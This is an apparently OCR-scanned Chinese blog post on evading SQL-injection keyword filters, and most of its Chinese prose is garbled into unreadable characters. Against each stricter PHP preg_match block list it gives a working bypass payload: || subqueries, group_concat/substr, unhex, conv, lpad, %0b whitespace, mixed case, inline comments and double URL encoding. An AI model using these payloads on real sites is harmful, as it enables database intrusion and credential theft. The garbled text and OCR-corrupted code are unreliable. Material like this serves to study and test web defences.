=% SQLiEAN: BEST

RIAEFIBEHT, TRANTXRENE, RRKIRFIZEY, FHEMTIENE
AFHEXUVAFERNENNE, BRENMERXEE, %A

https://blog.csdn.net/ncafei/artic......

| B
AEEEREEATFINEE CMSs #1 WAFs IR E RS I ATIRERA,

SCRAREIRY SQL IENEGNNE— LSS RIFRITTIE,
BRI FFERFNITRTREMR, IBHEAESRITA, BRERA,

l B3:

o IEMEE (Mysql)
e GROUP BY %

o HAVING ER#

e group_concat() EREL



e substr() BRAZY
e unhex() &L
o conv() E#L
e lower()

o Ipad() B

LiEREE (Mysql) :

ROEHEET PHP #1 MySQL RO IEATE T A LA AME 5T i3

GRId EREFIR BRI

KHEENdE: and |, or

[ YIRS NS VALY oy B



PHP ST
preg_match('/(and|or)/i',$id)
i RIVBIRF, RBIEANS
K#Eia and, or B AMERIHMEEESFEEN.
TiEN:

SdiEN:

XHHENTGE: and , or |, union

PHP 1R

preg_match ('/(and|or|union)/i',$id)

S union IERRFISRIBE — NEEANEA UM SIEE IR E S SR,
A

union select user, password fron users
LN

1 || (select user from users where user_id = 1)='admin'

|| BEMEONERHME, M users RHEEHK user_id - 1 AY user ZUBRZEARZE admin



Xg#aEdE: and |, or , union , where

PHP iZiEAS:
preg_match ('/(and|or|union|where)/i',$id)
WIEEN
1|| (select user from users where user_id = 1) = 'admin'
SITEN:
1|| (select user from users limit 1)='admin'
limit BUABYEIERITRM 0 177488

limit 1 S NG —REUE.

JgMaAdyE: and , or , union , where |

PHP i35E{HS

preg_match ('/(and|or|union|where|limit)/i",$id)

XHEE union BEFARMEIE—NEERNEDLANEIEREPIRENE S H0E.



HiEN:
1|| (select user from users limit 1) ='admin'
GOLiEN:
1|| (select user from users group by user_id having user_id=1 ) = 'admin’

GROUP BY iEABEHESREEEY (count, sum, avg, min, or max.) EEXS{ERARIEEI—1 8
ZPFIRVERE,

HAVING {EaiEFS GROUP BY 19 BL&#F, BAXRiTIEH GROUP BY {EGIREIRNICR
&,

EXE, (FALUXFERE, HE

group by EfFEA user_id RIFFEEEE, /SR having i user_id-1  HIBBFREUE.

XSHENDE: and , or , union , where |,
limit , group by

PHP ZEAS:

preg_match ('/(and|or|union|where|limit|group by)/i',$id)

XA union BEKAREE—NEERNEDLMNESIEETREE S EUE.
WIEEN



1|| (select user from users group by user_id having user_id =1) ='admin'
SIdiEN:

1|| (select substr(group_concat(user_id),0,1) user from users )=1
group_concat() EREUSHPHIFFEREEN N EASMIEIANENFRE. |
i8i%: group_concat@EEENFER, HIFFR, PR GUARES)),

ﬁ?@ﬂ?ﬂ’ﬂﬁﬁﬁ group_concat() E‘I?& ' ﬁ'ﬂ]ﬁ“’lﬁ%l)ﬂ”iﬁ_? group_concat(user_id)
sql B4

B —IKRAIEE S

user_id first_name last_name user password
P admin admin admin 5fddcc3b5aa7nos
2 Gordon Brown gordonb e99a318c428ch3t
3 Hack Me 1337 8d3533d75%aelc
4 Pablo Picasso pabla 0d107d409f5bbe:
5 Bob Srith smithy Sfddcc3b5aa7hs

Q&E{%ﬁﬁ group_concat() g_(l;& EHAﬂHj_—FEE

mw=nl: =selert eroun concatfuser idY uzer from users:

Xt



- e e = - r—

e mm e mmy e e -
+

| user |

- +

| 1,2,3,4,5 |

I — +

AJLIERIERR id £88at, AERESSRAT

substr() ERENFSRIIEIFFFER,
1&&: substr(string,start,length)
XFIEQDFATER—T,
ESTXEF:

o BREMSEOfFR, 1+ EEEFE 1SR,
RiemEHE 1

B% sql BRmEMER:
select 1 'H_:',%:_F1 ,

E%E?)EQEE 1] 1=1 %ﬁ-?ﬂgo

FHHENTE - and

or _ union where
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limit , group by , select , ' (95

PHP 1ZiEA3:

preg_match ('/(and|or|union|where|limit]|group by|select|\')/i',$id)
HUEEN:

1|| (select substr(group_concat(usr_id),1,1)user from users =1
SudiEN:

1| | substr(user,1,1)=unhex(61)

BRRRZAARKER, REITF sql IBREE,

mysgl» select convi(l@,18,36);



1 row in set (@.85 sec)

mysql> select conw(1l,18,36);

fom e +
| conw(1ll,1@,36) |
fom e +
| B |
fmmmmm e +

1 row in set (B.85 sec)

mysqls select conv(12,18,36);

frmmmmmmm e +
| conw(12,18,36) |
fom e +
| € |
fommmmmm e +

1 row in set (B.86 sec)

mysqls select conv(13,18,36);

o +
| conv(13,1@,36) |
o +
| D |
e e LT b +

1 row in set (B.86 sec)

oxe1 /9 16 HHIAY a, REWMEZAL 1]]a=a

unhex() BREL: XJ+7NEBIEFERNI— DT,

EeXFEOEEE LE—HFT.

FEEhE: and  or  union  where
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limit , group by , select , ' ($o8), hex

PHP &i&A3:
preg_match ('/(and|or|union|where|limit|group by|select|\'|hex)/i',$id)
SEEN:
1| |substr(user,1,1)=unhex(61)
SULEN:
1| |substr(user,1,1)=lower(conv(10,10,36))
conv() REZRATIHERENSRIIZIFE.

NMERKR, XEXEHIVREFA,

https://blog.csdn.net/geming2017/article/details/84256843
BAREET LY, BERKKT, TERANAKITE,

TFRARHEMENAT—T, TRETXINER,

mysgl» select convi(l@,18,36);



1 row in set (@.85 sec)

mysql> select conw(1l,18,36);

fom e +
| conw(1ll,1@,36) |
fom e +
| B |
fmmmmm e +

1 row in set (B.85 sec)

mysqls select conv(12,18,36);

frmmmmmmm e +
| conw(12,18,36) |
fom e +
| € |
fommmmmm e +

1 row in set (B.86 sec)

mysqls select conv(13,18,36);

o +
| conv(13,1@,36) |
o +
| D |
e e LT b +

1 row in set (B.86 sec)

mysgl> select conw(1@[TIL36);



1 row in set (8.85 seq

[

mysgls select conv(18)12,36);

o +
| conw(l@,12,36) |
o +
| ¢ |
e +

1 row in set (.85 seq

L

mysql> select conw(l@)13,38);

o +
| conw(1@,13,36) |
Hommmmm e +
| D |
Hommmmm e +

1 row in set (©.85 sec)

mysqls

FMEEFILUEFEBFER, FANERESRTLL,
B=ANHFINEE BRI E S EFIR,
lower() BREIEBIFFRTEMET N/ NEFH,

FIE T R EREEZE N FNETMRFER T,

FEEhE: and  or . union

where
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limit , group by , select , ' (98),

substr

PHP iS5 :
preg_match ('/(and|or|union|where|1limit|group by|select|\"|hex|substr)/i',$id)
HEEN:
1| |substr(user,1,1)=lower(conv(10,10,36))
SaEN:
lpad() FRFERACIRFTRREN.
1&%: LPAD(str,len,padstr)
FA= 58 padstr X3 str gHTANIBNEEBRIKEIXE] len MFRKE,
SARIRME] str, WNR str PKERT len, BBATBHERRZ len N,
XERFHT user PEUERIRERSN 7, NRARRKA 1 KER

EIEUE

mysql> select lpad({user,7,1) from users;

I



+
| 1ladmin |
| gordonb |
| 1111337 |
| 11pablo |
| Llsmithy |

X4EndE: and , or , union , where

I I

limit , group by , select , ' (98), hex |,

substr , white space (EXZTHR, THX =

Iug\)
PHP 13EAHS:

preg_match ('/(and|or|union|where|limit|group by|select|\'|hex|substr|\s)/i',$id)
UNAE AN
SudiEN:

\s =R, RUREEIZAFS, SRFE. HRN. RIUGES

1

%0b FIRER=E.



BRFEAMGEERE BNMERAE =S, B Tab &8, %a0 = 1%

BHh, XEEBRTLAARE R AT,

%20 %09 %0a %0b %0c %0d %a@ %00 /[**/ [*|*/

G IENZRIAT VI 8

WEEN: 1

1 union
1 union
DyEAEN: 1 union
1 union
1

union

or1l=1

select 1,table_name
select 1,table_name
select 1,table_name
select 1,table_name

select 1,table_name

EREFREIRA

TIRANE,

from
from
from
from

from

HL WAF G/ NERY SQL K##i

TENZRIAZTIE

preg_match ('/(union|sselect)/i',$id)

/g (EXEHKHIMAIFRE LECFFT)

information_schema
information_schema
information_schema
information_schema

information_schema

.tables
.tables
.tables
.tables
.tables

where table_name='users'

where table_name
where table_name
where table_name

where table_name

between 'a' and
between char(97
between 0x61 an

like ©x75736572

4



g,
http://www. xxx. com/index. php ?id=1+UnToNSeLecT1, 2, 3
BHRX A,
HUTREF] WAF F preg_replace BRESERISFTER SQL X,
KA union FO select HWEPR,

g,

REFRT SQL XERAGITIREH ERERMETRE. FUFIR o K5,

Had, i

http://www.xxx.com/index.php?id=1+uni%@bon+se%0blect+1,2,3--

TR /o ABEGR, BBATAIAR weo KB /v

1

yE:  http://www.xxx.com/news/id/1/**/||/**/1pad(first_name,7,1).html
Zid:  http://www.xxx.com/news/id/1%@b| |%eblpad(first_name,7,1).html

FRmAS

K% WAF BXIERFRIBN S TREDAISIE,

(BEFL WAF (AR, BIANEINZHMEEEHE FETIE,



i

Zeid:  http://www.xxx.com/index.php?id=1%252f%252a*/union%252%252a/select%252f%252a*/1,2,3%252f%252a*

| >
EERGA—T,
u2s2¢ PR URL IR0/ I,
252a PR URL fEIB/EEL « 25,
HitpyaTLAB CshFE A=,
MNTFREEET we FFF, M B5|ShY,

A LAERARI FERNERT5RID

g http://www.xxx.com/news/?unionselect?..
Zeid:  http://www.xxx.com/news/?/%2A%2A/union/%2A%2A/select?
2Zeid:  http://www.xxx.com/news/?%2f**%2funion%2f**%2fselect

B 1: /\e&
wopxen {E/IHRITRT

=+
IS

RIRRIRX X ER R G,



BENGI 5 AR EERR,
M EEKIBFEEZ BTG ERER(IERR,

IUERE, DL



